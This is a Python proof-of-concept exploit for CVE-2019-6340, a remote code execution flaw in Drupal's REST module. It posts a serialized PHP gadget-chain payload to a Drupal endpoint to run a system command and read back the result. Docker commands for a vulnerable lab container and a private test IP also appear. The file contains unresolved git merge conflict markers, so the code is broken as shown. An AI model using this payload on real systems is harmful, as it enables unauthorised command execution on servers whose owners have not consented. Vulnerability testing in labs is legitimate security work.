# coding:utf-8
import requests
'''
docker search cve-2019-6340
docker pull knqyf263/cve-2019-6340
docker run -d --name cve-2019-6340-drupal -p 8080:80 knqyf263/cve-2019-6340
// docker start cve-2019-6340-drupal
docker ps -l
docker stop cve-2019-6340-drupal
// docker rm cve-2019-6340-drupal

'''

class c2Class(object):
	def __init__(self):
		self.vulname = 'CVE-2019-6340'
		self.vulsystem= 'Drupal'
		self.vulversion = '< 8.6.10;< 8.5.12'
		self.refer= 'https://github.com/zhzyker/exphub/blob/master/drupal/cve-2019-6340_cmd.py'
		self.testisok=True

		self.headers = {
		'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0",
		'Connection': "close",
		'Content-Type': "application/hal+json",
		'Accept': "*/*",
		'Cache-Control': "no-cache"}
		self.vulpath = '/node/?_format=hal_json'
		self.cmd= 'whoami'
		self.cmdlen=len(self.cmd)
		self.payload = "{\r\n  \"link\": [\r\n    {\r\n      \"value\": \"link\",\r\n      \"options\": \"O:24:\\\"GuzzleHttp\\\\Psr7\\\\FnStream\\\":2:{s:33:\\\"\\u0000GuzzleHttp\\\\Psr7\\\\FnStream\\u0000methods\\\";a:1:{s:5:\\\"close\\\";a:2:{i:0;O:23:\\\"GuzzleHttp\\\\HandlerStack\\\":3:{s:32:\\\"\\u0000GuzzleHttp\\\\HandlerStack\\u0000handler\\\";s:%s:\\\"%s\\\";s:30:\\\"\\u0000GuzzleHttp\\\\HandlerStack\\u0000stack\\\";a:1:{i:0;a:1:{i:0;s:6:\\\"system\\\";}}s:31:\\\"\\u0000GuzzleHttp\\\\HandlerStack\\u0000cached\\\";b:0;}i:1;s:7:\\\"resolve\\\";}}s:9:\\\"_fn_close\\\";a:2:{i:0;r:4;i:1;s:7:\\\"resolve\\\";}}\"\r\n    }\r\n  ],\r\n  \"_links\": {\r\n    \"type\": {\r\n      \"href\": \"%s/rest/type/shortcut/default\"\r\n    }\r\n  }\r\n}"

		self.flag1=403
		self.flag2='u0027access'

	def c2Func(self,target):
		status=0
		returnData=''
		target=target.strip('/')
		try:
			url=target+self.vulpath
			payload=self.payload%(self.cmdlen,self.cmd,target)
			r=requests.request("POST", url=url, data=payload, headers=self.headers)
			if r.status_code==self.flag1 and self.flag2 in r.text:
				cmdresult=r.text.split("}")[1].strip()
<<<<<<< HEAD
				returnData='%s is bad.The vuln is %s.The payload is %s.'\
				'The cmd [%s] execute result is  [%s]'%(target,self.vulname,url,self.cmd,cmdresult)
=======
				returnData='%s is bad.The vuln is %s.The payload is %s.The cmd [%s] execute result is  [%s]'%(target,self.vulname,url,self.cmd,cmdresult)
>>>>>>> 0236c8ba63ed25c7b585a481d1d6e6081bd6132e
				status=1
		except Exception as e:
			returnData=str(e)
			# print(e)
		return status,returnData
if __name__ == '__main__':
	target='http://192.168.128.133:8080'
	pocObj=c2Class()
	print(pocObj.c2Func(target))
